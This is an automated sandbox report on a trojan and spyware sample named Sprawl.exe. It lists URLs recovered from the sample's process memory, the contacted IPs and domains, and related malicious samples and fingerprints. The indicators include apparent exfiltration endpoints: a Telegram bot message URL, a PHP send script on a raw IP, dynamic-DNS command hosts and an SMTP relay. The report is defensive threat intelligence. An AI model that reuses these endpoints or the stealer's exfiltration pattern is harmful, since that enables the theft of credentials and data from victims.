https://chrome.google.com/webstore?hl=en	msiexec.exe, 00000009.00000002.3378186894.0000000022AA6000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022AD7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022A97000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://varders.kozow.com:8081	msiexec.exe, 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.go	msiexec.exe, 00000009.00000002.3362946153.0000000006F90000.00000004.00001000.00020000.00000000.sdmp	false		unknown
https://www.google.com	msiexec.exe, 00000008.00000003.2935707844.00000000065F1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2936201345.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.3006706894.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.00000000070A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore6lB	powershell.exe, 00000002.00000002.2725870722.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2754100744.0000000005371000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.google.com/	msiexec.exe, 00000008.00000002.3362918549.000000000657A000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.000000000704A000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://contoso.com/	powershell.exe, 00000004.00000002.2766047897.00000000063D8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://nuget.org/nuget.exe	powershell.exe, 00000002.00000002.2747850355.0000000005F08000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2766047897.00000000063D8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=enlB	msiexec.exe, 00000008.00000002.3378029055.0000000021F80000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022AA1000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://apis.google.com	msiexec.exe, 00000008.00000003.2935707844.00000000065F1000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.2936201345.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000003.3006706894.00000000070FD000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3363263711.00000000070A9000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:760639%0D%0ADate%20a	msiexec.exe, 00000008.00000002.3378029055.0000000021ED5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229F5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	powershell.exe, 00000002.00000002.2725870722.0000000004EA1000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2754100744.0000000005371000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://reallyfreegeoip.org/xml/	msiexec.exe, 00000008.00000002.3378029055.0000000021E3C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.000000002295C000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/	msiexec.exe, 00000009.00000002.3378186894.0000000022AD7000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022AC8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org/C7T	msiexec.exe, 00000009.00000002.3384976953.0000000024BDF000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://nuget.org/NuGet.exe	powershell.exe, 00000002.00000002.2747850355.0000000005F08000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000004.00000002.2766047897.00000000063D8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 00000004.00000002.2754100744.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 00000004.00000002.2754100744.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 00000004.00000002.2766047897.00000000063D8000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://drive.usercontent.google.com/	msiexec.exe, 00000009.00000002.3363263711.00000000070A9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://checkip.dyndns.org	msiexec.exe, 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://nsis.sf.net/NSIS_ErrorError	Sprawl.exe, Sprawl.exe.2.dr	false	URL Reputation: safe	unknown
https://api.telegram.org/bot/sendMessage?chat_id=&text=	msiexec.exe, 00000008.00000002.3378029055.0000000021ED5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229F5000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://chrome.google.com/webstore?hl=en8	msiexec.exe, 00000008.00000002.3378029055.0000000021F76000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000004.00000002.2754100744.00000000054C6000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://drive.usercontent.google.com/U	msiexec.exe, 00000008.00000002.3362918549.00000000065E8000.00000004.00000020.00020000.00000000.sdmp, msiexec.exe, 00000008.00000003.2985704004.00000000065F1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://aborters.duckdns.org:8081	msiexec.exe, 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://ac.ecosia.org/autocomplete?q=	msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.office.com/8	msiexec.exe, 00000008.00000002.3378029055.0000000021FA7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://nsis.sf.net/NSIS_Error	Sprawl.exe, Sprawl.exe.2.dr	false	URL Reputation: safe	unknown
http://51.38.247.67:8081/_send_.php?L	msiexec.exe, 00000008.00000002.3378029055.0000000021FE1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022B02000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://anotherarmy.dns.army:8081	msiexec.exe, 00000008.00000002.3378029055.0000000021DF1000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.0000000022911000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://reallyfreegeoip.org	msiexec.exe, 00000008.00000002.3378029055.0000000021EAC000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3378029055.0000000021E3C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3378029055.0000000021ED5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229F5000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.000000002295C000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3378186894.00000000229CC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	msiexec.exe, 00000008.00000002.3382228709.00000000230F8000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000008.00000002.3382228709.0000000022E11000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023931000.00000004.00000800.00020000.00000000.sdmp, msiexec.exe, 00000009.00000002.3382107427.0000000023C18000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom	62041	TELEGRAMRU	true
213.165.67.102	smtp.ionos.es	Germany	8560	ONEANDONE-ASBrauerstrasse48DE	true
188.114.97.3	reallyfreegeoip.org	European Union	13335	CLOUDFLARENETUS	true
193.122.6.168	checkip.dyndns.com	United States	31898	ORACLE-BMC-31898US	false
142.250.184.238	drive.google.com	United States	15169	GOOGLEUS	false
142.250.185.65	drive.usercontent.google.com	United States	15169	GOOGLEUS	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1539387
Start date and time:	2024-10-22 16:09:40 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 7m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	11
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Sprawl.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@11/18@6/6
EGA Information:	Successful, ratio: 50%
HCA Information:	Successful, ratio: 98% Number of executed functions: 193 Number of non-executed functions: 53
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded domains from analysis (whitelisted): client.wns.windows.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target msiexec.exe, PID 3212 because it is empty
Execution Graph export aborted for target msiexec.exe, PID 4460 because it is empty
Not all processes where analyzed, report is missing behavior information
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Sprawl.exe

Simulations

Behavior and APIs

Time	Type	Description
10:10:34	API Interceptor	83x Sleep call for process: powershell.exe modified
10:12:03	API Interceptor	522x Sleep call for process: msiexec.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Rundholterne89.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	TicariXHesapXXzetiniz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	REVISED PROFORMA INVOICE STVC007934196.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	MT103-539 PAYMENT (1).docx.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
	SecuriteInfo.com.Win32.CrypterX-gen.11226.22760.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse
213.165.67.102	Snvlerier.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	r8x1WvSkbWSUjXh6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	LisectAVT_2403002A_257.exe	Get hash	malicious	AgentTesla	Browse
	60yQVZ67vj.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse
	Nowe zam#U00f3wienie nr 201030019.exe	Get hash	malicious	AgentTesla	Browse
	Barotse.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	SecuriteInfo.com.W32.MSIL_Kryptik.DSR.gen.Eldorado.16905.957.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
	Quotation-ZX6350ZA Drilling Cum Milling Machine.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse
	factra.exe	Get hash	malicious	AgentTesla	Browse
	factura.exe	Get hash	malicious	AgentTesla, DarkTortilla	Browse
188.114.97.3	Technical Datasheet and Specification_PDF.exe	Get hash	malicious	Unknown	Browse	www.rihanaroly.sbs/othk/?0dk=RykyQ3QZ+r1dqZwhAQupYMuQy26h2PYi8Fyfl3RAfHSVFgYOfXbCDUNV+aNHe22U393WzLygMMdANTa+vksg1hx1LENxGTGsZa2bATkiGgfiS6KvHA==&urk=NXuT
	request-BPp -RFQ 0975432.exe	Get hash	malicious	PureLog Stealer	Browse	www.ergeneescortg.xyz/guou/
	Halkbank_Ekstre_20230426_075819_154055.exe	Get hash	malicious	FormBook	Browse	www.thetahostthe.top/9r5x/
	http://comodozeropoint.com/updates/1736162964/N1/Team.exe	Get hash	malicious	Unknown	Browse	comodozeropoint.com/updates/1736162964/N1/Team.exe
	SecuriteInfo.com.Win32.MalwareX-gen.14607.6011.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	SecuriteInfo.com.Trojan.DownLoader47.45523.5497.16574.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	SecuriteInfo.com.Trojan.DownLoader47.45523.5497.16574.exe	Get hash	malicious	Unknown	Browse	servicetelemetryserver.shop/api/index.php
	ZP4KZDHVHWZZ2DC13DMX.exe	Get hash	malicious	Amadey	Browse	tipinfodownload-soft1.com/g9jvjfd73/index.php
	aQdB62N7SB.elf	Get hash	malicious	Shikitega, Xmrig	Browse	main.dsn.ovh/dns/loadbit
	PO#071024.exe	Get hash	malicious	FormBook	Browse	www.freedietbuilder.online/nnla/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
reallyfreegeoip.org	Rundholterne89.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	z547GEViTFyfCZdLZP.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.96.3
	SecuriteInfo.com.Trojan.PackedNET.3057.16994.22226.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	TicariXHesapXXzetiniz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	REVISED PROFORMA INVOICE STVC007934196.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
checkip.dyndns.com	Rundholterne89.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	001_215_EA2047939_202410210815.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	z547GEViTFyfCZdLZP.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	132.226.8.169
	SecuriteInfo.com.Trojan.PackedNET.3057.16994.22226.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	TicariXHesapXXzetiniz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
smtp.ionos.es	Rundholterne89.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	213.165.67.118
	Snvlerier.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	213.165.67.118
	Snvlerier.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	213.165.67.102
	Contrato de Cesin de Crditos Sin Recurso.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	213.165.67.118
	r8x1WvSkbWSUjXh6.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	213.165.67.102
	ZcH50SI4q45Dtpf.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	213.165.67.118
	LisectAVT_2403002A_257.exe	Get hash	malicious	AgentTesla	Browse	213.165.67.102
	USyhqVZT33vX26Y.exe	Get hash	malicious	AgentTesla	Browse	213.165.67.118
	60yQVZ67vj.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	213.165.67.102
	JUSTIFICANTE PAGO FACTURA.vbs	Get hash	malicious	AgentTesla, GuLoader	Browse	213.165.67.118
api.telegram.org	Rundholterne89.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TicariXHesapXXzetiniz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	REVISED PROFORMA INVOICE STVC007934196.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MT103-539 PAYMENT (1).docx.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Win32.CrypterX-gen.11226.22760.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
ORACLE-BMC-31898US	Rundholterne89.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.130.0
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	193.122.6.168
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	001_215_EA2047939_202410210815.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	193.122.130.0
	SecuriteInfo.com.Trojan.PackedNET.3057.16994.22226.exe	Get hash	malicious	Snake Keylogger	Browse	193.122.6.168
	REVISED PROFORMA INVOICE STVC007934196.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	MT103-539 PAYMENT (1).docx.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	PaymentXConfirmationXcopy.xls	Get hash	malicious	Snake Keylogger	Browse	158.101.44.242
	SUAlTWPjKQ.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	158.101.44.242
TELEGRAMRU	Rundholterne89.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	TicariXHesapXXzetiniz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	REVISED PROFORMA INVOICE STVC007934196.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	MT103-539 PAYMENT (1).docx.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.Win32.CrypterX-gen.11226.22760.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	https://www.elastic.co/security-labs/elevate-your-threat-hunting?utm_source=organic-social&utm_medium=twitter&utm_campaign=esl:_threat_research_esl_blog_post&utm_content=15000445268&linkId=626315843	Get hash	malicious	Cuba, Latrodectus, UACMe, Xmrig	Browse	172.66.0.227
	[EXTERNAL] Re_ Quotes.eml	Get hash	malicious	Unknown	Browse	172.67.128.229
	https://apeidieppe-d.basiic.net/yKKWd	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Rundholterne89.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	BA4M310209H14956.xls	Get hash	malicious	Remcos	Browse	188.114.96.3
	https://email.mail.customfeedback.com/c/eJyUkD-P1TAQxD9N3J2VXXuduHDxDpEGiQpE7T_rS_QS-8kxF45Pjw5EQ0c7oxnNb6I_Hn57KZ_4zSlEg2SizkA0WtbGjsF6M4G2SGHChMFrYhFr6T729wz6NOfRayKLZCipOVACmgA4mEwhEHnFbEVykCcMs2AHE1oCrQBF3trZP_uD3a0kbmctItd2-Za-cVhrvX9tu1t7f5yDug24DLj0WvdThra9rH2v0e8y1mPA5eT69NsbcPHp2MqAy1-6d-36U_j0imJ1SUcVQFkMMSitNMCkxpR4jhBtVFpsDkfUMCIAqlmhBPnxtujnDzdSSPoZLA16PPy2y_j97PXIzCn4eH9fI-7_88y_gHkrvkTeSq7yJyh5cZCxNpbXVlK9Tlm4D7iIw01GkxoBxKPVH29f6p2Lm2adApjs7az0FDRE8Hkeo9ETc4qzNqPxRFk0F9e2nb0-Vm7S77svgx7bo1XZOa7i1eGvAAAA__9cb6ca	Get hash	malicious	Unknown	Browse	104.16.20.118
	BL Packing List & Invoice.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	ProformaInvoice.xls	Get hash	malicious	PureLog Stealer	Browse	188.114.96.3
	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.96.3
ONEANDONE-ASBrauerstrasse48DE	Rundholterne89.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	213.165.67.118
	Invoice.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	217.160.0.158
	la.bot.powerpc.elf	Get hash	malicious	Mirai	Browse	212.227.7.42
	Request for 30 Downpayment.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	217.160.0.93
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	212.227.138.124
	yakuza.m68k.elf	Get hash	malicious	Unknown	Browse	74.208.123.157
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	217.160.111.108
	Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx	Get hash	malicious	Mamba2FA	Browse	217.160.0.215
	Ageeconstruction -_(BENEFIT INSTRUCTIONS)_.docx	Get hash	malicious	Mamba2FA	Browse	217.160.0.215
	EMnyl2klUV.elf	Get hash	malicious	Mirai	Browse	217.160.45.92

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	Rundholterne89.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	New Purchase_Order_110511.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	7vbu8ZW8lFI8mn5.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
	z547GEViTFyfCZdLZP.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger	Browse	188.114.97.3
	SecuriteInfo.com.Trojan.PackedNET.3057.16994.22226.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.97.3
	TicariXHesapXXzetiniz.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	REVISED PROFORMA INVOICE STVC007934196.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	188.114.97.3
3b5074b1b5d032e5620f69f9f700ff0e	Rundholterne89.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	SecuriteInfo.com.BackDoor.AgentTeslaNET.20.5206.2075.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Swift Detail 103.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	6 654398.vbs	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.220
	FACTURA-ALBARANES.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Massageapparater.vbs	Get hash	malicious	FormBook, GuLoader	Browse	149.154.167.220
	FZCO - PO#12345.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
